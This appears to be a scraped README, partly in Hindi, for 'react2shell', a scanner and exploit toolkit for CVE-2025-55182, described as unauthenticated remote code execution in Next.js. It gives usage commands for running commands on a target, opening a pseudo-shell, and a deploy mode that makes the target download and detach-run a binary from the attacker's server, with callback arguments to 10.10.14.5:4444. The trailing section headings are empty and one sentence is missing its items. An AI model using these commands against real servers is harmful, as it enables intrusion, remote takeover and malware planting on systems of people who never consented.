react2shell

CVE-2025-55182 टूलकिट। Next.js में RSC पेलोड इंजेक्शन के माध्यम से अप्रमाणित RCE के लिए स्कैनर + शोषण।

Node.js शोषण: शून्य निर्भरताएँ। Bash स्कैनर: एकल URL या बल्क सूचियों की जाँच करता है।

शोषण

# Single command with output
./react2shell.mjs -t http://target:3000 -c "id"

# Interactive pseudo-shell
./react2shell.mjs -t http://target:3000 -i

# Deploy a binary to the target (download + chmod + execute detached)
./react2shell.mjs -t http://target:3000 \
  --deploy ./my-agent \
  --remote-args "-H 10.10.14.5 -p 4444 --tls --cron"

Options:
  -t, --target <url>       Target URL (required)
  -c, --command <cmd>      Execute command with output
  --blind                  Blind RCE (no output capture)
  -i, --interactive        Interactive pseudo-shell
  --deploy <binary>        Upload and execute a binary on the target
  --lhost <ip>             Your IP (auto-detected if omitted)
  --serve-port <port>      HTTP port to serve the binary (default: 8888)
  --remote-args <args>     Arguments passed to the deployed binary

--deploy चार RCE कॉल को श्रृंखलित करता है: प्लेटफ़ॉर्म का पता लगाना (), बाइनरी डाउनलोड (एक अस्थायी HTTP सर्वर बनाता है, लक्ष्य पर / का उपयोग करता है), और एक डिटैच किया गया ताकि प्रक्रिया 5-सेकंड टाइमआउट से बच जाए।

CVE-2025-55182-react2shell

सबसे लोकप्रिय

स्कैनर

एकीकरण टेम्पलेट

प्रभावित संस्करण

तकनीकी विवरण

संदर्भ

लाइसेंस

लेखक